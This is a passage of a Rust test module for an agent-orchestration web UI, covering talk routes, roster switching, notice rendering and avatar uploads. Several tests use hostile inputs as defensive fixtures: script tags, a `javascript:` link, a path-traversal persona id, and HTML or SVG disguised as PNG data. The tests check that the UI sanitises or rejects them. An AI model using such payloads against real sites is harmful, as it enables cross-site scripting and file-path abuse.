13458        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13459        let second = f.get("/api/repos").await;
13460        assert_eq!(
13461            second.json().as_array().map(Vec::len),
13462            Some(1),
13463            "a fresh cache must not rescan inside the TTL"
13464        );
13465
13466        let refreshed = f.get("/api/repos?refresh=1").await;
13467        assert_eq!(
13468            refreshed.json().as_array().map(Vec::len),
13469            Some(2),
13470            "an explicit refresh must rescan even inside the TTL"
13471        );
13472    }
13473
13474    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13475    /// string, declared straight in a repository's own `magi.toml` rather
13476    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13477    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13478    /// this is safe to run over a real HTTP round trip.
13479    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13480
13481    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13482    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13483    /// even though it takes no turn, and `talk_say` invokes one.
13484    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13485        let tmp = TempDir::new().expect("tempdir");
13486        let repo = tmp.path().join("repo");
13487        std::fs::create_dir_all(&repo).expect("repo dir");
13488        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13489        let f = Fixture::with_repo(repo.clone()).await;
13490        (tmp, repo, f)
13491    }
13492
13493    #[tokio::test]
13494    async fn posting_a_talk_with_remembered_choices_is_soft() {
13495        let (_tmp, _repo, f) = talk_fixture().await;
13496
13497        let good = f
13498            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13499            .await;
13500        assert_eq!(good.status, 201, "{}", good.body);
13501        assert_eq!(good.json()["persona"], "rei");
13502
13503        // Wrong values and wrong types are dropped one by one, never a 4xx.
13504        let stale = f
13505            .post(
13506                "/api/talks",
13507                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13508            )
13509            .await;
13510        assert_eq!(stale.status, 201, "{}", stale.body);
13511        let v = stale.json();
13512        assert_eq!(v["implementers"], 1);
13513        assert_ne!(v["persona"], "nobody");
13514        let typed = f
13515            .post(
13516                "/api/talks",
13517                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13518            )
13519            .await;
13520        assert_eq!(typed.status, 201, "{}", typed.body);
13521
13522        // The strict `agent` field still refuses an unknown id.
13523        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13524        assert!(
13525            !strict.status.to_string().starts_with('2'),
13526            "{}",
13527            strict.body
13528        );
13529    }
13530
13531    #[tokio::test]
13532    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13533        let (_tmp, _repo, f) = talk_fixture().await;
13534
13535        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13536        // is the ordinary way a phone opens a talk.
13537        let opened = f.post("/api/talks", None).await;
13538        assert_eq!(opened.status, 201, "{}", opened.body);
13539        let body = opened.json();
13540        assert_eq!(body["status"], "open");
13541        assert_eq!(
13542            body["turns"].as_array().unwrap().len(),
13543            0,
13544            "opening takes no agent turn: there is nothing yet to answer"
13545        );
13546
13547        // An explicit empty object is the same request as none at all.
13548        let also_opened = f.post("/api/talks", Some("{}")).await;
13549        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13550
13551        let listed = f.get("/api/talks").await.json();
13552        assert_eq!(listed.as_array().unwrap().len(), 2);
13553    }
13554
13555    #[tokio::test]
13556    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13557        let tmp = TempDir::new().expect("tempdir");
13558        let repo = tmp.path().join("repo");
13559        std::fs::create_dir_all(&repo).expect("repo dir");
13560        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13561        std::fs::write(
13562            repo.join("magi.toml"),
13563            format!("{MOCK_AGENT_TOML}\n{second}"),
13564        )
13565        .expect("write magi.toml");
13566        let home = TempDir::new().expect("temp home");
13567        let talks = Talks::at(home.path().join("talks"));
13568        let ui = Arc::new(
13569            Ui::new(
13570                Queue::at(home.path().join("queue")),
13571                Questions::at(home.path().join("questions")),
13572                talks.clone(),
13573                home.path().join("runs"),
13574                home.path().to_path_buf(),
13575                repo.clone(),
13576            )
13577            .with_worktrees_root(home.path().join("wt")),
13578        );
13579        let cfg = config_for(&repo).await.expect("discover config");
13580        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13581        let id = talk.id.clone();
13582        let call = |agent: &str| {
13583            talk_agent(
13584                State(Arc::clone(&ui)),
13585                Path(id.clone()),
13586                Json(TalkAgent {
13587                    agent: agent.to_owned(),
13588                }),
13589            )
13590        };
13591
13592        let unknown = call("nobody").await.expect_err("unknown agent");
13593        assert_eq!(
13594            unknown.status,
13595            StatusCode::BAD_REQUEST,
13596            "{}",
13597            unknown.message
13598        );
13599
13600        {
13601            // Nothing refused so far took a claim, so the guard is free to take
13602            // and holding it is what makes the talk busy.
13603            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13604            let busy = call("second").await.expect_err("busy talk");
13605            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13606            assert!(
13607                busy.message.contains("a talk turn is running"),
13608                "{}",
13609                busy.message
13610            );
13611            drop(guard);
13612        }
13613        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13614
13615        let Json(view) = call("second").await.expect("switch");
13616        assert_eq!(view.talk.agent, "second");
13617        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13618        let saved = talks.get(&id).expect("reload");
13619        assert_eq!(saved.agent, "second");
13620        assert_eq!(saved.turns.len(), 1);
13621        assert!(!view.thinking);
13622        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13623        for agent in ["mock", "second"] {
13624            let Json(view) = call(agent).await.expect("immediate consecutive change");
13625            assert_eq!(view.talk.agent, agent);
13626            assert!(!view.thinking);
13627            assert!(!ui.is_thinking(&id));
13628        }
13629
13630        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13631            .await
13632            .expect("detail");
13633        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13634        assert_eq!(roster, ["mock", "second"]);
13635
13636        let mut closed = talks.get(&id).expect("reload");
13637        talk::close(&mut closed, &talks).expect("close");
13638        let refused = call("mock").await.expect_err("closed talk");
13639        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13640        assert!(
13641            refused.message.contains("takes no more turns"),
13642            "{}",
13643            refused.message
13644        );
13645    }
13646
13647    #[tokio::test]
13648    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13649        let tmp = TempDir::new().expect("tempdir");
13650        let repo = tmp.path().join("repo");
13651        std::fs::create_dir_all(&repo).expect("repo dir");
13652        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13653        let home = TempDir::new().expect("temp home");
13654        let talks = Talks::at(home.path().join("talks"));
13655        let ui = Arc::new(
13656            Ui::new(
13657                Queue::at(home.path().join("queue")),
13658                Questions::at(home.path().join("questions")),
13659                talks.clone(),
13660                home.path().join("runs"),
13661                home.path().to_path_buf(),
13662                repo.clone(),
13663            )
13664            .with_worktrees_root(home.path().join("wt")),
13665        );
13666        let cfg = config_for(&repo).await.expect("discover config");
13667        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13668        let id = talk.id.clone();
13669        let call = |n: u8| {
13670            talk_implementers(
13671                State(Arc::clone(&ui)),
13672                Path(id.clone()),
13673                Json(TalkImplementers { implementers: n }),
13674            )
13675        };
13676
13677        for bad in [0u8, 4] {
13678            let e = call(bad).await.expect_err("out of range");
13679            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13680        }
13681        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13682
13683        {
13684            // Nothing refused so far took a claim, so the guard is free to take
13685            // and holding it is what makes the talk busy.
13686            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13687            let busy = call(2).await.expect_err("busy talk");
13688            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13689            assert!(
13690                busy.message.contains("a talk turn is running"),
13691                "{}",
13692                busy.message
13693            );
13694            drop(guard);
13695        }
13696
13697        let Json(view) = call(3).await.expect("switch");
13698        assert_eq!(view.talk.implementers, 3);
13699        assert!(talks.get(&id).expect("reload").implementers_dirty);
13700        assert!(!view.thinking);
13701        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13702        for n in [1, 2, 3] {
13703            let Json(view) = call(n).await.expect("immediate consecutive change");
13704            assert_eq!(view.talk.implementers, n);
13705            assert!(!view.thinking);
13706            assert!(!ui.is_thinking(&id));
13707        }
13708
13709        let mut closed = talks.get(&id).expect("reload");
13710        talk::close(&mut closed, &talks).expect("close");
13711        let e = call(2).await.expect_err("closed talk");
13712        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13713        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13714    }
13715
13716    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13717    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13718        let tmp = TempDir::new().expect("tempdir");
13719        let repo = tmp.path().join("repo");
13720        std::fs::create_dir_all(&repo).expect("repo dir");
13721        std::fs::write(
13722            repo.join("magi.toml"),
13723            format!("{MOCK_AGENT_TOML}\n{extra}"),
13724        )
13725        .expect("write magi.toml");
13726        let home = TempDir::new().expect("temp home");
13727        let talks = Talks::at(home.path().join("talks"));
13728        let ui = Arc::new(
13729            Ui::new(
13730                Queue::at(home.path().join("queue")),
13731                Questions::at(home.path().join("questions")),
13732                talks.clone(),
13733                home.path().join("runs"),
13734                home.path().to_path_buf(),
13735                repo.clone(),
13736            )
13737            .with_worktrees_root(home.path().join("wt")),
13738        );
13739        let cfg = config_for(&repo).await.expect("discover config");
13740        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13741        (tmp, home, ui, talk.id, repo)
13742    }
13743
13744    #[tokio::test]
13745    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13746        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13747        let mut conversation = ui.talks.get(&id).unwrap();
13748        talk::record(
13749            &mut conversation,
13750            &ui.talks,
13751            "# Update on a task you filed\noperator words",
13752            vec![],
13753        )
13754        .unwrap();
13755        // Simulate an old operator record; headings do not prove authorship.
13756        conversation.turns[0].sender = None;
13757        conversation.turns[0].messages.clear();
13758        ui.talks.put(&mut conversation).unwrap();
13759        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13760        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13761        talk::drain(&mut conversation, &ui.talks).unwrap();
13762        talk::record_reply(
13763            &mut conversation,
13764            &ui.talks,
13765            "about that report",
13766            vec![],
13767            Some(talk::ReplyTarget {
13768                turn: 1,
13769                message: 1,
13770            }),
13771        )
13772        .unwrap();
13773        conversation.turns[2].messages[0]
13774            .reply
13775            .as_mut()
13776            .unwrap()
13777            .sender = None;
13778        conversation.turns.push(talk::Turn {
13779            sender: Some(talk::Sender::Persona),
13780            who: talk::Who::Agent,
13781            body: "magi: actual persona words".into(),
13782            at: Timestamp::now(),
13783            attachments: vec![],
13784            usage: None,
13785            breaks: None,
13786            messages: vec![],
13787            posted_by: None,
13788        });
13789        ui.talks.put(&mut conversation).unwrap();
13790        let view = TalkView::with_config(
13791            ui.talks.get(&id).unwrap(),
13792            false,
13793            None,
13794            &ui.home,
13795            &ui.references,
13796        );
13797        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13798        assert_eq!(
13799            view.talk.turns[1].messages[0].sender,
13800            Some(talk::Sender::Operator)
13801        );
13802        assert_eq!(
13803            view.talk.turns[1].messages[1].sender,
13804            Some(talk::Sender::Magi)
13805        );
13806        assert_eq!(
13807            view.talk.turns[2].messages[0]
13808                .reply
13809                .as_ref()
13810                .unwrap()
13811                .sender,
13812            Some(talk::Sender::Magi)
13813        );
13814        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13815        assert_eq!(view.turn_messages_md[0].len(), 1);
13816        assert!(view.turn_messages_md[0][0].is_none());
13817        assert!(view.turn_messages_md[1][0].is_none());
13818        assert!(view.turn_messages_md[1][1].is_some());
13819    }
13820
13821    #[tokio::test]
13822    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13823        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13824        let mut conversation = ui.talks.get(&id).unwrap();
13825        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13826        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13827        talk::queue_notice(
13828            &mut conversation,
13829            &ui.talks,
13830            &body,
13831            "watch:123",
13832            &|_| false,
13833            None,
13834            display.clone(),
13835        )
13836        .unwrap();
13837        assert!(
13838            !talk::queue_notice(
13839                &mut conversation,
13840                &ui.talks,
13841                &body,
13842                "watch:123",
13843                &|_| false,
13844                None,
13845                display.clone()
13846            )
13847            .unwrap()
13848        );
13849        let saved = ui.talks.get(&id).unwrap();
13850        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13851        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13852        assert!(
13853            view.talk.turns[0].messages[0].display.is_none(),
13854            "operator copy stays literal"
13855        );
13856        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13857        assert!(view.turn_messages_md[0][0].is_none());
13858        let queued_md = view.pending_messages_md[0].clone();
13859        assert_eq!(
13860            queued_md,
13861            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13862        );
13863        talk::drain(&mut conversation, &ui.talks).unwrap();
13864        talk::record_reply(
13865            &mut conversation,
13866            &ui.talks,
13867            "Explain",
13868            vec![],
13869            Some(talk::ReplyTarget {
13870                turn: 1,
13871                message: 0,
13872            }),
13873        )
13874        .unwrap();
13875        let mut saved = ui.talks.get(&id).unwrap();
13876        assert_eq!(saved.turns[1].messages[0].body, body);
13877        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13878        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13879        assert!(!reply.excerpt.contains("automatic report"));
13880        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13881        saved.turns[1].messages[0].display = None; // old MAGI send
13882        ui.talks.put(&mut saved).unwrap();
13883        let view = TalkView::with_config(
13884            ui.talks.get(&id).unwrap(),
13885            false,
13886            None,
13887            &ui.home,
13888            &ui.references,
13889        );
13890        assert_eq!(view.turn_messages_md[1][0], queued_md);
13891        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13892        assert!(
13893            !view.talk.turns[2].messages[0]
13894                .reply
13895                .as_ref()
13896                .unwrap()
13897                .excerpt
13898                .contains("automatic report")
13899        );
13900        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13901    }
13902
13903    #[tokio::test]
13904    async fn consultation_display_hides_directives_in_queue_and_history() {
13905        for node in [
13906            "implement",
13907            crate::land::APPROVAL_NODE,
13908            crate::github_text::ASK_NODE,
13909        ] {
13910            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13911            let mut question = Question::new(
13912                "run-123".into(),
13913                node.into(),
13914                "seat-1".into(),
13915                "Which backend?".into(),
13916                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13917                vec!["SQLite".into(), "Redis".into()],
13918            );
13919            ui.questions.put(&mut question).unwrap();
13920            let body = crate::prompt::chat_consult(&question);
13921            let mut conversation = ui.talks.get(&id).unwrap();
13922            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13923            assert!(
13924                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13925            );
13926            conversation = ui.talks.get(&id).unwrap();
13927            assert_eq!(conversation.pending_messages[0].body, body);
13928            assert!(body.contains("magi answer"));
13929            let mut legacy_pending = conversation.clone();
13930            legacy_pending.pending_messages[0].display = None;
13931            let legacy_view =
13932                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13933            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13934            assert!(legacy_md.contains("Question consultation"));
13935            assert!(!legacy_md.contains("magi answer"));
13936            let view =
13937                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13938            assert!(
13939                view.turn_messages_md[0][0].is_none(),
13940                "operator copy stays literal"
13941            );
13942            let queued_md = view.pending_messages_md[0].clone().unwrap();
13943            let rendered = serde_json::to_string(&queued_md).unwrap();
13944            for visible in [
13945                "Which backend?",
13946                "Context",
13947                "storage",
13948                "SQLite",
13949                "Redis",
13950                "<script>literal</script>",
13951            ] {
13952                assert!(rendered.contains(visible), "missing {visible}");
13953            }
13954            for directive in [
13955                "What to do",
13956                "magi answer",
13957                "Never answer it yourself",
13958                "Do not edit the repository",
13959            ] {
13960                assert!(!rendered.contains(directive), "exposed {directive}");
13961            }
13962            assert_eq!(
13963                view.talk.pending_messages[0].display,
13964                Some(crate::prompt::chat_consult_display(&question))
13965            );
13966            talk::drain(&mut conversation, &ui.talks).unwrap();
13967            let view =
13968                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13969            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13970            assert_eq!(conversation.turns[1].messages[0].body, body);
13971
13972            // Historical consultations lack a snapshot: show a safe placeholder
13973            // rather than parsing instructions or reconstructing mutable facts.
13974            conversation.turns[1].messages[0].display = None;
13975            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13976            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13977            assert!(legacy.contains("Question consultation"));
13978            assert!(!legacy.contains("magi answer"));
13979            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13980        }
13981    }
13982
13983    #[test]
13984    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13985        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13986        let (body, mut display) =
13987            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13988        display.facts = facts.into();
13989        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13990        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13991        let json = serde_json::to_string(&nodes).unwrap();
13992        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13993            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13994        }
13995        assert!(json.contains("<script>alert(1)</script>"));
13996        assert!(!json.contains("javascript:"));
13997        assert!(!json.contains("Tell the operator"));
13998        assert!(!json.contains("untrusted"));
13999        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14000        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14001        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14002        assert_eq!(
14003            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14004            md::to_nodes("# Status", &md::ImageBase::None),
14005        );
14006    }
14007
14008    #[tokio::test]
14009    async fn notification_display_recovers_exact_legacy_completion_references() {
14010        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14011        let mut conversation = ui.talks.get(&id).unwrap();
14012        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14013            id: "task-123",
14014            title: "Change",
14015            status: "done",
14016            reason: None,
14017            run: Some("run-123"),
14018            pr: None,
14019            summary: Some("Merge state unknown"),
14020        });
14021        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14022        conversation.turns[0].sender = None;
14023        conversation.turns[0].messages.clear();
14024        conversation.turns[0].breaks = None;
14025        conversation.pending = body.clone();
14026        conversation
14027            .completion_notices
14028            .push(crate::chat_notify::CompletionReference {
14029                task: "task-123".into(),
14030                run: Some("run-123".into()),
14031                notice: body.clone(),
14032            });
14033        ui.talks.put(&mut conversation).unwrap();
14034        let view = TalkView::with_config(
14035            ui.talks.get(&id).unwrap(),
14036            false,
14037            None,
14038            &ui.home,
14039            &ui.references,
14040        );
14041        assert_eq!(
14042            view.talk.turns[0].messages[0].display,
14043            Some(display.clone())
14044        );
14045        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14046        assert_eq!(
14047            view.talk.turns[0].messages[0].sender,
14048            Some(talk::Sender::Magi)
14049        );
14050        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14051        conversation.completion_notices[0]
14052            .notice
14053            .push_str("different");
14054        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14055        assert!(view.talk.turns[0].messages.is_empty());
14056        assert!(view.talk.pending_messages.is_empty());
14057    }
14058
14059    #[tokio::test]
14060    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14061        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14062        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14063            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14064        ))
14065        .await;
14066        let path = avatar_setting_path(home.path(), Some("rei"));
14067        let orphan = avatar_setting_path(home.path(), Some("removed"));
14068        save_icon_file(&orphan, icon).unwrap();
14069        for (saved, expected) in [
14070            (icon, "custom"),
14071            ("builtin", "builtin"),
14072            ("data:image/png;base64,!!!!", "inherit"),
14073            ("data:image/png;base64,PGh0bWw+", "inherit"),
14074            ("/tmp/avatar.png", "inherit"),
14075        ] {
14076            atomic_icon_write(&path, saved).unwrap();
14077            let catalog =
14078                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14079                    .await
14080                    .unwrap()
14081                    .0;
14082            let personas = catalog["personas"].as_array().unwrap();
14083            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14084            assert_eq!(rei["override_state"], expected);
14085            assert_eq!(rei["has_config_icon"], true);
14086            assert_eq!(rei["is_orphan"], false);
14087            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14088            assert_eq!(removed["override_state"], "custom");
14089            assert_eq!(removed["is_orphan"], true);
14090            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14091            assert_eq!(default["override_state"], "inherit");
14092            assert_eq!(default["has_config_icon"], false);
14093            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14094            assert_eq!(
14095                effective.as_deref(),
14096                Some(if expected == "builtin" { "" } else { icon })
14097            );
14098        }
14099    }
14100
14101    #[tokio::test]
14102    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14103        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14104        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14105            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14106        ))
14107        .await;
14108        let target = |id: Option<&str>| AvatarSettingsQuery {
14109            persona: id.map(str::to_owned),
14110            ..Default::default()
14111        };
14112        let original_config = config_for(&repo).await.unwrap();
14113        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14114        let original_prompt = persona::section_for(&original_persona, None);
14115        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14116            .await
14117            .unwrap()
14118            .0;
14119        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14120            let _ = avatar_settings_put(
14121                State(ui.clone()),
14122                Query(target(persona)),
14123                Json(MagiIconUpload { icon: icon.into() }),
14124            )
14125            .await
14126            .unwrap();
14127            let path = avatar_setting_path(home.path(), persona);
14128            assert!(path.starts_with(home.path().join("avatars")));
14129            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14130            for bad in [
14131                "/tmp/image.png".to_owned(),
14132                "data:image/png;base64,!!!!".to_owned(),
14133                "data:image/png;base64,PGh0bWw+".to_owned(),
14134                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14135                format!(
14136                    "data:image/png;base64,{}",
14137                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14138                ),
14139            ] {
14140                assert!(
14141                    avatar_settings_put(
14142                        State(ui.clone()),
14143                        Query(target(persona)),
14144                        Json(MagiIconUpload { icon: bad })
14145                    )
14146                    .await
14147                    .is_err()
14148                );
14149                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14150            }
14151        }
14152        assert!(read_magi_icon(home.path()).is_none());
14153        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14154        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14155            .await
14156            .unwrap()
14157            .0;
14158        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14159        assert_ne!(
14160            before
14161                .personas
14162                .iter()
14163                .find(|p| p.id == "magi")
14164                .unwrap()
14165                .avatar,
14166            after
14167                .personas
14168                .iter()
14169                .find(|p| p.id == "magi")
14170                .unwrap()
14171                .avatar
14172        );
14173        let restarted = Arc::new(Ui::new(
14174            Queue::at(home.path().join("queue")),
14175            Questions::at(home.path().join("questions")),
14176            Talks::at(home.path().join("talks")),
14177            home.path().join("runs"),
14178            home.path().to_owned(),
14179            repo,
14180        ));
14181        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14182            .await
14183            .unwrap()
14184            .0;
14185        assert!(
14186            catalog["personas"]
14187                .as_array()
14188                .unwrap()
14189                .iter()
14190                .any(|p| p["id"] == "../custom/日本語")
14191        );
14192        for expected in ["custom", "default", "rei"] {
14193            assert!(
14194                catalog["personas"]
14195                    .as_array()
14196                    .unwrap()
14197                    .iter()
14198                    .any(|p| p["id"] == expected)
14199            );
14200        }
14201        let response =
14202            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14203        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14204        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14205            .await
14206            .unwrap();
14207        assert_eq!(
14208            effective_persona_icon(home.path(), "rei", Some(icon)),
14209            Some(String::new())
14210        );
14211        let response = talk_avatar(
14212            State(restarted.clone()),
14213            Path(id.clone()),
14214            Query(AvatarQuery {
14215                persona: Some("rei".into()),
14216                ..Default::default()
14217            }),
14218        )
14219        .await
14220        .unwrap();
14221        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14222        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14223            .await
14224            .unwrap()
14225            .0;
14226        assert_ne!(
14227            after
14228                .personas
14229                .iter()
14230                .find(|p| p.id == "rei")
14231                .unwrap()
14232                .avatar,
14233            reset
14234                .personas
14235                .iter()
14236                .find(|p| p.id == "rei")
14237                .unwrap()
14238                .avatar
14239        );
14240        let mut inherit = target(Some("rei"));
14241        inherit.inherit = Some("1".into());
14242        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14243            .await
14244            .unwrap();
14245        assert_eq!(
14246            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14247            Some(icon)
14248        );
14249        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14250            .await
14251            .unwrap();
14252        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14253        assert_eq!(
14254            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14255            Some(icon)
14256        );
14257        // Display changes never rewrite the conversation or its prompt-bearing config.
14258        let cfg = config_for(&ui.repo).await.unwrap();
14259        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14260        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14261        assert!(!original_prompt.contains("data:image"));
14262        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14263        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14264        assert!(!stored.contains("data:image"));
14265        let mut orphan = ui.talks.get(&id).unwrap();
14266        orphan.persona = "../custom/日本語".into();
14267        let view = TalkView::with_config(
14268            orphan,
14269            false,
14270            Some(&cfg),
14271            home.path(),
14272            &id_links::IndexCache::default(),
14273        );
14274        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14275    }
14276
14277    #[tokio::test]
14278    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14279        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14280        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14281        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14282        let _ = magi_icon_put(
14283            State(ui.clone()),
14284            Json(MagiIconUpload { icon: icon.into() }),
14285        )
14286        .await
14287        .unwrap();
14288        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14289        assert_ne!(original, changed);
14290        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14291        let response = magi_avatar(
14292            State(ui.clone()),
14293            Query(AvatarQuery {
14294                persona: None,
14295                builtin: None,
14296            }),
14297        )
14298        .await;
14299        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14300        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14301        assert_eq!(
14302            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14303            "nosniff"
14304        );
14305        for bad in [
14306            "data:image/png;base64,PGh0bWw+".to_owned(),
14307            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14308            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14309        ] {
